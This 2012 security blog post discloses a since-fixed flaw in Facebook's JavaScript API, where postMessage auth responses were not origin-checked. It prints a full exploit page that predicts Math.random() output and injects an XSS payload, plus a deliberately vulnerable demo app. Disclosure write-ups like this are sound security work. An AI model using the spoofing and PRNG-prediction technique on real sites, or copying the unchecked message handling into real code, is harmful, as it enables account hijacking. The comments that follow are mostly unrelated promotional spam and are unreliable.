Saturday, September 29, 2012

Of HTML5 security, cross-domain Math.random() prediction and Facebook JavaScript API


In an earlier post, I talked about a technique called Cross-domain Math.random() prediction. And while the technique is interesting it is perhaps not intuitively clear in what cases it could be applied. So in this post I'll show an example vulnerability in Facebook which was actually the reason why I investigated this technique in the first place.

Earlier this year, I started looking at the Facebook JavaScript API to see if I can find any vulnerabilities there. What I found is that, when a user first visits the page which uses the API, the page opens a frame in the Facebook domain and this frame sends the information about the logged in user via HTML 5 postMessage mechanism. The actual vulnerability was that the API did not check the origin of this message. In other words, it didn't verify that the authentication response message actually originated from facebook.com domain, meaning that another window in another domain could send a spoofed authentication response message. Furthermore, sanity checks were not performed on the fields in the authentication response message (such as user id of the logged in user, access token etc) - the API just assumed that all of the data received is trustworthy. So in turn, if an application uses the API and assumes that all data coming from the API is trustworthy, this could lead to vulnerabilities in the application. For example, if the application uses something like

FB.getLoginStatus(function(response) {
   if (response.status === 'connected') {
      document.getElementById("greetings").innerHTML = "Some static text " + response.authResponse.userID;
   }
}

this would be OK if the user ID can only be composed of numbers, but in the case the user ID is controlled by the attacker, it could lead to XSS, for example, by sending the following as user ID

<img src=x onerror=alert(1)>

So far so good, but the problems arose when I actually attempted to exploit this. While the Facebook JavaScript API indeed didn't verify the origin of the authentication response message, when the API made an authentication request, the request contained some random numbers. These numbers were sent back in the authentication response message and the API verified that they matched. These random numbers were generated by the API using the JavaScript Math.random() function. What I found out then and described in more detail in the earlier post (http://ifsec.blogspot.com/2012/05/cross-domain-mathrandom-prediction.html) was that in some browsers in some cases, the output of Math.random() can be predicted. So in the end I was able to exploit this on an example vulnerable application. The steps of the exploit are outlined below.

1. The exploit creates a window with the vulnerable Facebook application. Let's call this window W. By creating a new window, its random number generator is initialized based on the current time. API in W gets initialized and it is expecting an authentication response message from the facebook.com domain.

2. Based on the current time, several predictions are made about the state of the random generator in W. Random parameters of the API messages are constructed based on these predictions.

3. For each PRNG state prediction, an authentication response message that contains an XSS payload in the user_id parameter is constructed. This message is sent to W.

4. IF the message sent in step 3 reaches W before the "real" authentication response message coming from the facebook.com domain, the fake message will be accepted and parsed and the real message from the facebook.com domain will be discarded.

5. If the application uses authResponse to form any HTML code and assumes authResponse is clean, the XSS payload will be executed.

The full source code of the exploit for Mozilla Firefox is given below. Note that it is based on the code given here.

<html>
  <head>
    <script>
      var maxms = 10000;
      var delay = 100;
      var appurl = "http://fratar.zemris.fer.hr/fbapp/index.html";
      
      //in order to avoid precision issues
      //we split each 48-bit number
      //into two 24-bit halves (_lo & _hi)
      var a_hi = 0x5DE;
      var a_lo = 0xECE66D;
      var b = 0x0B;
      var state_lo = 0;
      var state_hi = 0;
      var max_half = 0x1000000;
  
      //advances the state of the (previously initialized) PRNG
      function advanceState() {
        var tmp_lo,tmp_hi,carry;
        tmp_lo = state_lo*a_lo + b;
        tmp_hi = state_lo*a_hi + state_hi*a_lo;
        if(tmp_lo>=max_half) {
          carry = Math.floor(tmp_lo/max_half);
          tmp_hi = tmp_hi + carry;
          tmp_lo = tmp_lo % max_half;
        }
        tmp_hi = tmp_hi % max_half;
        state_lo = tmp_lo;
        state_hi = tmp_hi;
      }
  
      //inits PRNG
      function InitRandPredictor(seedTime) {
        var seed_lo,seed_hi;
        seed_hi = Math.floor(seedTime/max_half);
        seed_lo = seedTime%max_half;
        state_lo = seed_lo ^ a_lo;
        state_hi = seed_hi ^ a_hi;
      } 
  
      //gets the next random() result according to the predicted PRNG state
      function PredictRand() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 4) + Math.floor(state_lo/0x400000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,53);
    
        return res;
      }      
      
      //gets the next guid() result according to the predicted PRNG state
      function PredictGuid() {
        return 'f' + (PredictRand() * (1 << 30)).toString(16).replace('.', '');
      }
      
      var w,n,guids;
      
      //starts the exploit
      function start() {
        var d = new Date();
        n = d.getTime();
        
        //generate possible guids based on the current time
        guids = new Array(maxms);
        for(var i=0;i<maxms;i++) {
          InitRandPredictor(n+i);
          guids[i] = new Array(6);
          for(var j=0;j<6;j++) {
            guids[i][j] = PredictGuid();
          }
        }

        //create a new window with the app
        w = window.open(appurl);  

        //post spoofed messages to the app
        postmessages();
      }
      
      function writeguids() {
        var i,j;
        var str = "";
        for(i=0;i<maxms;i++) {
          for(j=0;j<10;j++) {
            str += guids[i][j] + " , ";
          }
          str += "<br />";
        }
        document.getElementById("guids").innerHTML = str;
      }
  
      var messagessent, signed_request, intervalId;
  
      //posts all messages corresponding to the possible PRNG states to the vulnerable app
      function postmessage() {
        for(var i=0;i<maxms;i++) {
          message = "_FB_" + guids[i][2] + "cb=" + guids[i][5] + "&origin=blah&domain=blah&relation=parent&frame=" + guids[i][4] + "&code=1.1111111111111111.1111.1111111111.1-111111111111111111111-11111111111_111111111" + "&signed_request=" + signed_request + "&access_token=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&expires_in=1000000&https=0";
          w.postMessage(message,"*");
        }
      }
      
      //post messages after "delay" in which the vulnerable app is opened and initialized
      function postmessages() {
        messagessent = 0;
        var m1 = '{"algorithm":"HMAC-SHA256","code":"1.1111111111111111.1111.1111111111.1-111111111111111|111111111111111111111111111","issued_at":' + Math.floor(n/1000).toString() + ',"user_id":"1 <img src=x onerror=alert(1)>"}';
        signed_request = "1_11111111111111111111111111111111111111111." + window.btoa(m1);
        
        intervalId = setTimeout("postmessage()",delay);
      }
      
    </script>
  </head>
    <button onclick="start()">Click Me!</button>
    <div id="guids"></div>
  </body>
</html>


The source code of the of an example application that was used to demonstrate the vulnerability is givene below.

<html>
<head>
</head>
<body>
<div id="fb-root">
<fb:name uid="loggedinuser" capitalize="true"></fb:name>
<fb:profile-pic uid="loggedinuser"></fb:profile-pic>
</div>
<div id="greetings"></div>
<script>
  window.fbAsyncInit = function() {
    FB.init({
      appId      : '259710214039921', // App ID
      status     : true, // check login status
      cookie     : true, // enable cookies to allow the server to access the session
      xfbml      : true, // parse XFBML
      oauth      : true
    });
    
    FB.getLoginStatus(function(response) {
    if (response.status === 'connected') {
        //alert('connected,' + response.authResponse.userID);
        document.getElementById("greetings").innerHTML = "Hi! Your Facebook ID is " + response.authResponse.userID;
      } else if (response.status === 'not_authorized') {
        //alert('not_authorized');
         FB.login(function(response) {});
      } else {
        //alert('none');
         FB.login(function(response) {});
      }
     });    
 
    // Additional initialization code here
  };

  // Load the SDK Asynchronously
  (function(d){
     var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0];
     if (d.getElementById(id)) {return;}
     js = d.createElement('script'); js.id = id; js.async = true;
     js.src = "//connect.facebook.net/en_US/all.js";
     //js.src = "all2.js";
     ref.parentNode.insertBefore(js, ref);
   }(document));
</script>
</body>
</html>


You can see a sucessful exploit attempt in the image below.



Facebook adressed this issue and now the API checks the origin of incoming messages.

33 comments:

Josip Franjković said...

Awesome, simply awesome!
Thanks for the post, I have learned few new things from it.

Now I shall try to abuse it :D

h43z said...

thx4share!

[Ben Hayak] said...

Math.random prediction...
Very dedicated, also that is quite impressive thinking of how to gain a successful exploit for the application's DOM un-sanitized html write vulnerability!
liked your straight-forward writing as well.

Awesome work!

Anonymous said...

Thanks for this great introduction to game development using HTML5 canvas, I managed to create this game after reading your post html5

Unknown said...

good one i like this one
netlon mesh in Coimbatore

aliyaa said...


I would like to appreciate your hard work you did write this post, Thanks for sharing this valuable post. The harvard generator is a great site.

Ancy merina said...
This comment has been removed by the author.
Repairtech Solutions said...

Great article. I am dealing with many of these issues as well.. onsite mobile repair bangalore Way cool! Some extremely valid points! I appreciate you writing this write-up and also the rest of the site is really good. asus display repair bangalore Excellent web site you have here.. It’s hard to find excellent writing like yours these days. I honestly appreciate people like you! Take care!! huawei display repair bangalore

Repairtech Solutions said...

This is a topic which is near to my heart... Thank you! Where are your contact details though? online laptop repair center bangalore I seriously love your site.. Great colors & theme. Did you create this amazing site yourself? Please reply back as I’m trying to create my very own blog and would like to know where you got this from or just what the theme is called. Thank you! dell repair center bangalore

Repairtech Solutions said...

I really like it when folks get together and share thoughts. Great website, keep it up! acer repair center bangalore Great info. Lucky me I found your site by chance (stumbleupon). I've book marked it for later! macbook repair center bangalore

Unknown said...


This is most informative and also this post most user friendly and super navigation to all posts. Thank you so much for giving this information to me.SQL Server DBA training in Chennai.
Java training in chennai | Java training in annanagar | Java training in omr | Java training in porur | Java training in tambaram | Java training in velachery

John said...

Insta stalker With best Instagram profile web viewer, you can stalk any users and stories highlights, Anonymously Online Instagram User Posts and Highlights ... دانلود آهنگ قدیمی

Unknown said...


Positive site, where did u come up with the information on this posting?I have read a few of the articles on your website now, and I really like your style. Thanks a million and please keep up the effective work.

Best Software Development Agency Dubai UAE

Unknown said...

I found so many interesting stuff in your blog especially its discussion. From the tons of comments on your articles, I guess I am not the only one having all the enjoyment here! keep up the good work...



Digital marketing Agency Dubai UAE

Unknown said...


Thanks For sharing this Superb article.I use this Article to show my assignment in college.it is useful For me Great Work.

Web Development Agency Dubai UAE

Rohit said...

It was reaaly wonderful reading your article. # BOOST Your GOOGLE RANKING.It’s Your Time To Be On #1st Page
Our Motive is not just to create links but to get them indexed as will
Increase Domain Authority (DA).We’re on a mission to increase DA PA of your domain
High Quality Backlink Building Service
1000 Backlink at cheapest
50 High Quality Backlinks for just 50 INR
2000 Backlink at cheapest
5000 Backlink at cheapest

Derek Lafortune said...

I simply needed to appreciate you again. I’m not certain the things that I would have taken care of in the absence of the points contributed by you on my problem. It seemed to be the daunting problem for me, however , looking at a new specialized form you handled it took me to weep over fulfillment. I am grateful for this help and in addition trust you are aware of a powerful job you happen to be accomplishing training most people through the use of a site. More than likely you’ve never come across all of us.

I intended to post you a bit of observation so as to thank you so much as before regarding the magnificent pointers you’ve provided here. It’s strangely open-handed with you to offer freely exactly what a few people would have distributed as an e book in order to make some dough for themselves, primarily considering the fact that you might well have tried it in case you decided. Those smart ideas in addition acted like a easy way to fully grasp that other people have the identical eagerness just like my personal own to grasp more in terms of this problem. I think there are lots of more pleasurable times ahead for individuals who looked over your website.

would like to show my appreciation to the writer for rescuing me from this type of situation. After looking through the the net and seeing methods which were not pleasant, I figured my life was over. Living minus the answers to the problems you’ve sorted out by way of your entire short article is a crucial case, and those that might have adversely affected my entire career if I hadn’t come across your web site. Your actual capability and kindness in maneuvering all the pieces was vital. I don’t know what I would have done if I had not come upon such a stuff like this. I can at this time look ahead to my future. Thanks for your time very much for this high quality and results-oriented guide. I won’t hesitate to refer your site to anyone who requires counselling about this issue.

My wife and i ended up being so fortunate that Jordan managed to deal with his inquiry out of the precious recommendations he was given out of the blog. It’s not at all simplistic just to find yourself giving away tactics which often a number of people have been trying to sell. And we realize we’ve got the writer to be grateful to because of that. All of the explanations you made, the easy website menu, the friendships your site help engender – it’s got most fabulous, and it’s really aiding our son in addition to the family understand the topic is enjoyable, and that’s really pressing. Thank you for the whole lot!

Derek Lafortune said...

Wow, this was interesting to read. Don't you think it's worth posting these thoughts on Instagram? After all, this social network is now very popular. By the way, I advise you to use https://viplikes.net/buy-instagram-followers in order to quickly increase their number and promote your account to the top.

kaashivit said...

Awesome..You have clearly explained …Its very useful for me to know about new things..Keep on blogging..
eniac full form in computer
dvd full form
sit full form
pcc full form
iucn full form
full form of lcd
brics full form
tally erp full form
full form of ctbt
crpf full form

JacobHarman said...

The chatbots are correspondence stages, where the mechanized PC program answers the inquiries and correspondence with the clients by learning the examples, catchphrases, questions, or even the learning language utilized by the client. The bot advancement is becoming one of the cruising ventures for the bot engineers as well with respect to the organizations of all sizes universally. A significant expansion in the interest for composing a chatbot application in the market is an obvious sign of the helpful effect of these applications on the present current organizations. Ordinarily, there are two kinds of chatbot applications; one is administered by the predefined basic standards and the other one is further developed and refined one, which utilizes the force of Neuro-semantic programming to grasp the complicated discussion of the client through man-made brainpower (AI) innovation>> chatbot developers

Fashate said...

My friend told me about your post. I really liked it. I also share your information that by using our tool, you can enhance sentences by correcting errors, adding missing parts and enhancing their structure, and the fix sentence fragments online if you have typed a word wrong Don't worry if you omitted it or if you're not sure the sentence is clear.

Hayees said...

But there are many students who have to complete the thesis because their work depends on it. It is not an easy task, and certainly not easy either is this a thesis statement checker If you want to write a great thesis paper, you can try this tool you need to keep in mind. With this article, you will be able to avoid common mistakes while writing your thesis so that you can stand out in front of your peers and professors.

Lovie said...

I would like to thank the author of this post. Because the information he has given in this post, I was not aware of it at all. But reading this post has given me a lot of information. This is where I came to know about the sentence fragment checker website. Lakhs of children have improved their English from this website. I have also corrected my spelling mistakes from this website.

Unknown said...

Don't let distance be a barrier, just hire technology developers. With this team of remote developers, you can work with the best developers from anywhere in the world. This team use fintech product development and the latest communication and collaboration tools to ensure that distance is never a barrier to success. Let this company help you build the team you need to succeed. For more useful info check the link down below!

Uposing said...
This comment has been removed by the author.
Fashate said...

One area that many students have difficulty with is determining which voice should be used when writing. The word voice refers to the way in which an action verb relates to its subject. Every sentence you write will use either the active voice or the passive voice. and change into passive voice for this. When using the passive voice, the subject is acted upon by the verb. Recognizing whether active or passive voice is being used

R H Construction USA INC said...

If you depend on your phone's calendar sidebar for notifications, you've probably experienced their annoying nature sooner or later. iOS Calendar virus is a malicious program that targets mobile devices to deliver various annoying alerts to the users. This not only hinders the normal use of your site mobile device, but also compromises its security by exposing sensitive information through notifications or emails. So now it's time to show you how to get rid of this menace!

Lovie said...

If any of you need information about Facebook JavaScript API. Then this post can be very useful for you. From here you can get the best information about it. I also got to know a bit about the prepositional phrase calculator tool from this post. The work of this tool is quite trending nowadays. This tool helps you to improve your English very easily.

Unknown said...
This comment has been removed by the author.
Unknown said...

Hello, I would like to share a useful website with you. This website offers a useful tool for students and anyone learning the English language. It allows for a quick and easy check of the accuracy of past tense verb usage and provides recommendations for correcting any errors. With this checker for past tense, one can avoid common mistakes and improve their writing and speaking skills.

RemoteLabeler said...
This comment has been removed by the author.
Lovie said...

HTML and JavaScript are 2 languages that are being widely used in the 21st century. You can also read about these coding languages in this post. When I start reading this post I found a link to Reddit slutty confessions in between of these posts. Then I clicked on the given link. After that, I landed on another webpage. Where I saw an article it is about the slutty confessions.

Arun bihari said...

6307003781